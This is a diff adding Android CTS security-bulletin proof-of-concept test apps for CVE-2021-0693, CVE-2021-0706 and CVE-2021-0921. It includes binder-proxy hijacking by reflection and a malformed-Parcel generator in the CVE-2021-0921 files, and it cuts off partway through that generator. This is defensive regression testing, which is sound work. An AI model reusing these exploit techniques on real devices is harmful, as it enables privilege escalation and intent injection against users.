+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0693";
+ private static final int TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+
+ @Before
+ public void wakeUpDevice() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ try {
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ } catch (Exception e) {
+ throw new RuntimeException("Could not wake up the phone", e);
+ }
+ }
+
+ @Test
+ public void testHeapDumpAccessibility() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java
new file mode 100644
index 00000000000..a9c2396a420
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0693;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ registerHeapLimit();
+ try {
+ ContentResolver resolver = PocActivity.this.getContentResolver();
+ String file = "content://com.android.shell.heapdump/"
+ + "android.security.cts.CVE_2021_0693_javaheap.bin";
+ resolver.openFile(Uri.parse(file), "r", null);
+ } catch (Exception e) {
+ if (e instanceof SecurityException) {
+ return;
+ }
+ }
+ /* If SecurityException is not thrown, it indicates absence of fix */
+ throw new RuntimeException("Heapdump is retrievable! Vulnerable to b/184046948!!");
+ }
+
+ private void registerHeapLimit() {
+ ActivityManager activityManager = getSystemService(ActivityManager.class);
+ activityManager.setWatchHeapLimit(1);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
new file mode 100644
index 00000000000..d09ece956bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0706",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml
new file mode 100644
index 00000000000..d6251633acb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0706"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0706"
+ android:supportsRtl="true">
+ <activity android:name=".PocActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml
new file mode 100644
index 00000000000..150082260d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:text="CVE-2021-0706"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java
new file mode 100644
index 00000000000..89ebb8f8264
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0706;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testDisablePlugin() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ final int TIMEOUT_MS = 10000;
+ String TEST_PACKAGE = "android.security.cts.CVE_2021_0706";
+ String errorMessage = "PocActivity from package android.security.cts.CVE_2021_0706"
+ + " is disabled. Device is vulnerable to b/193444889!";
+ PackageManager packageManager = context.getPackageManager();
+ assumeNotNull(packageManager);
+ Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ assumeNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ assumeNotNull(mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS));
+ Intent intentDisablePlugin = new Intent("com.android.systemui.action.DISABLE_PLUGIN");
+ Uri uri = Uri.parse("package://android.security.cts.CVE_2021_0706/.PocActivity");
+ intentDisablePlugin.setData(uri);
+ context.sendBroadcast(intentDisablePlugin);
+ assumeNotNull(mDevice.wait(Until.gone(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS));
+ intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ assertNotNull(errorMessage, intent);
+ }
+}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java
index cb07bae960b..0d79f1c3e08 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,12 +14,16 @@
* limitations under the License.
*/
-package com.android.cts.userspacereboot.basic;
+package android.security.cts.CVE_2021_0706;
import android.app.Activity;
+import android.os.Bundle;
-/**
- * An empty launcher activity.
- */
-public class LauncherActivity extends Activity {
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index df1baedbc0e..2936db9a841 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -1,10 +1,10 @@
-// Copyright (C) 2020 The Android Open Source Project
+// Copyright (C) 2021 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
-// http://www.apache.org/licenses/LICENSE-2.0
+// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,21 +12,22 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
- name: "BasicUserspaceRebootTestApp",
- srcs: ["src/**/*.java"],
- manifest : "AndroidManifest.xml",
+ name: "CVE-2021-0921",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ platform_apis: true,
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
static_libs: [
- "androidx.test.runner",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
"androidx.test.core",
- "testng",
- "truth-prebuilt",
+ "androidx.appcompat_appcompat",
],
- min_sdk_version: "29",
- // TODO(ioffe): change to number when SDK is finalized.
- sdk_version: "system_current",
+ sdk_version: "current",
}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml
new file mode 100644
index 00000000000..2e81b866e48
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_0921"
+ android:targetSandboxVersion="2">
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+
+ <activity android:name=".AuthenticatorActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name=".TestActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.RUN"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+
+ <service
+ android:name=".AuthenticatorService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator" />
+ </intent-filter>
+
+ <meta-data
+ android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/authenticator" />
+ </service>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0921" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml
new file mode 100644
index 00000000000..09d024c301f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:text="CVE-2021-0921"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml
new file mode 100644
index 00000000000..69b22338c65
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+ <color name="colorPrimary">#008577</color>
+ <color name="colorPrimaryDark">#00574B</color>
+ <color name="colorAccent">#D81B60</color>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml
new file mode 100644
index 00000000000..1a689a5305b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml
@@ -0,0 +1,3 @@
+<resources>
+ <string name="app_name">AnyIntentPoc</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml
new file mode 100644
index 00000000000..5885930df6d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml
@@ -0,0 +1,11 @@
+<resources>
+
+ <!-- Base application theme. -->
+ <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
+ <!-- Customize your theme here. -->
+ <item name="colorPrimary">@color/colorPrimary</item>
+ <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+ <item name="colorAccent">@color/colorAccent</item>
+ </style>
+
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml
new file mode 100644
index 00000000000..46194d5022f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="android.security.cts"
+ android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java
new file mode 100644
index 00000000000..4d4ad986f2b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java
@@ -0,0 +1,157 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+ public static Intent mIntent;
+ private int TRANSACTION_onResult;
+ private IBinder mOriginRemote;
+ private static final String TAG = "TAG_2021_0921.Authenticator";
+ private IBinder mProxyRemote = new IBinder() {
+ @Override
+ public String getInterfaceDescriptor() throws RemoteException {
+ return null;
+ }
+
+ @Override
+ public boolean pingBinder() {
+ return false;
+ }
+
+ @Override
+ public boolean isBinderAlive() {
+ return false;
+ }
+
+ @Override
+ public IInterface queryLocalInterface(String descriptor) {
+ return null;
+ }
+
+ @Override
+ public void dump(FileDescriptor fd, String[] args) throws RemoteException {
+ }
+
+ @Override
+ public void dumpAsync(FileDescriptor fd, String[] args) throws RemoteException {
+ }
+
+ @Override
+ public boolean transact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
+ Log.d(TAG, "transact() start");
+ if (code == TRANSACTION_onResult) {
+ Log.d(TAG, "transact() before parse");
+ data.recycle();
+ data = GenMalformedParcel.parsingPackageImplParcel(mIntent);
+ Log.d(TAG, "transact() end parse");
+ }
+ Log.d(TAG, "transact() continue");
+ mOriginRemote.transact(code, data, reply, flags);
+ Log.d(TAG, "transact() end");
+ return true;
+ }
+
+ @Override
+ public void linkToDeath(DeathRecipient recipient, int flags) throws RemoteException {
+ }
+
+ @Override
+ public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+ return false;
+ }
+ };
+
+ public Authenticator(Context context) {
+ super(context);
+ Log.d(TAG, "Authenticator() constructor");
+ }
+
+ @Override
+ public String getAuthTokenLabel(String authTokenType) {
+ return null;
+ }
+
+ @Override
+ public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+ return null;
+ }
+
+ @Override
+ public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+ String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+ String authTokenType, String[] requiredFeatures, Bundle options) {
+
+ Log.d(TAG, "addAccount() start");
+ try {
+ Class AccountAuthenticatorResponseClass = Class.forName("android.accounts.AccountAuthenticatorResponse");
+ @SuppressLint("SoonBlockedPrivateApi")
+ Field mAccountAuthenticatorResponseField = AccountAuthenticatorResponseClass.getDeclaredField("mAccountAuthenticatorResponse");
+ mAccountAuthenticatorResponseField.setAccessible(true);
+ Object mAccountAuthenticatorResponse = mAccountAuthenticatorResponseField.get(response);
+
+ Class stubClass = null;
+ for (Class inner : Class.forName("android.accounts.IAccountAuthenticatorResponse").getDeclaredClasses()) {
+ if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub")) {
+ stubClass = inner;
+ break;
+ }
+ }
+
+ Field TRANSACTION_onResultField = stubClass.getDeclaredField("TRANSACTION_onResult");
+ TRANSACTION_onResultField.setAccessible(true);
+ TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+ Class proxyClass = null;
+ for (Class inner : stubClass.getDeclaredClasses()) {
+ if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub.Proxy")) {
+ proxyClass = inner;
+ break;
+ }
+ }
+
+ Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+ mRemoteField.setAccessible(true);
+ mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+ mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ Log.d(TAG, "addAccount() end");
+
+ return new Bundle();
+ }
+
+ @Override
+ public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options) {
+ return null;
+ }
+
+ @Override
+ public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features) {
+ return null;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java
new file mode 100644
index 00000000000..41e30eb5ca0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java
@@ -0,0 +1,31 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.Context;
+import android.app.Activity;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+
+public class AuthenticatorActivity extends Activity {
+
+ private static final String TAG = "TAG_2021_0921.AuthenticatorActivity";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(TAG, "onCreate() start");
+ setContentView(R.layout.activity_main);
+ new Trigger(AuthenticatorActivity.this).accountSettings();
+ Log.d(TAG, "onCreate() end");
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ this.finish();
+ }
+}
+
+
+
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java
new file mode 100644
index 00000000000..917056239bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java
@@ -0,0 +1,15 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class AuthenticatorService extends Service {
+ public AuthenticatorService() {
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new Authenticator(this).getIBinder();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
new file mode 100644
index 00000000000..bb6631ad9d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0921;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String TAG = "TAG_2021_0921.DeviceTest";
+ private UiDevice mDevice;
+
+ @Test
+ public void test() {
+ Log.d(TAG, "test() start");
+
+ //set mDevice and go to homescreen
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mDevice.pressHome();
+ Context context = getApplicationContext();
+ String TEST_PACKAGE = "android.security.cts.CVE_2021_0921";
+ PackageManager packageManager = context.getPackageManager();
+
+ //start poc app
+ Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ //wait for poc app to complete (it takes about 6 seconds)
+ SystemClock.sleep(20000);
+
+ Log.d(TAG, "test() end");
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java
new file mode 100644
index 00000000000..5d337e3bca2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java
@@ -0,0 +1,210 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Log;
+
+public class GenMalformedParcel {
+
+ private static final String TAG = "TAG_2021_0921.GenMalformedParcel";
+
+ public static Parcel parsingPackageImplParcel(Intent intent) {
+ Log.d(TAG, "parsingPackageImplParcel() start");
+
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(3);
+
+ data.writeString("key1");
+ data.writeInt(4);
+ data.writeString("android.content.pm.parsing.ParsingPackageImpl");
+
+ data.writeInt(0); // supportsSmallScreens
+ data.writeInt(0); // supportsNormalScreens
+ data.writeInt(0); // supportsLargeScreens
+ data.writeInt(0); // supportsExtraLargeScreens
+ data.writeInt(0); // resizeable
+ data.writeInt(0); // anyDensity
+ data.writeInt(0); // versionCode
+ data.writeInt(0); // versionCodeMajor
+ data.writeInt(0); // baseRevisionCode
+ data.writeString("versionName"); // versionName
+ data.writeInt(0); // compileSdkVersion
+ data.writeString("compileSdkVersionCodeName"); // compileSdkVersionCodeName
+ data.writeString("packageName"); // packageName
+ data.writeString("realPackage"); // realPackage
+ data.writeString("baseCodePath"); // baseCodePath
+ data.writeBoolean(false); // requiredForAllUsers
+ data.writeString("restrictedAccountType"); // restrictedAccountType
+ data.writeString("requiredAccountType"); // requiredAccountType
+ data.writeString("overlayTarget"); // overlayTarget
+ data.writeString("overlayTargetName"); // overlayTargetName
+ data.writeString("overlayCategory"); // overlayCategory
+ data.writeInt(0); // overlayPriority
+ data.writeBoolean(false); // overlayIsStatic
+ data.writeInt(0); // overlayables
+ data.writeString("staticSharedLibName"); // staticSharedLibName
+ data.writeLong(0); // staticSharedLibVersion
+ data.writeInt(0); // libraryNames
+ data.writeInt(0); // usesLibraries
+ data.writeInt(0); // usesOptionalLibraries
+ data.writeInt(0); // usesStaticLibraries
+ data.writeInt(0); // usesStaticLibrariesVersions
+ data.writeInt(0); // digestsSize
+ data.writeString("sharedUserId"); // sharedUserId
+ data.writeInt(0); // sharedUserLabel
+ data.writeInt(0); // configPreferences
+ data.writeInt(0); // reqFeatures
+ data.writeInt(0); // featureGroups
+ data.writeInt(0); // restrictUpdateHash
+ data.writeInt(0); // originalPackages
+ data.writeInt(0); // adoptPermissions
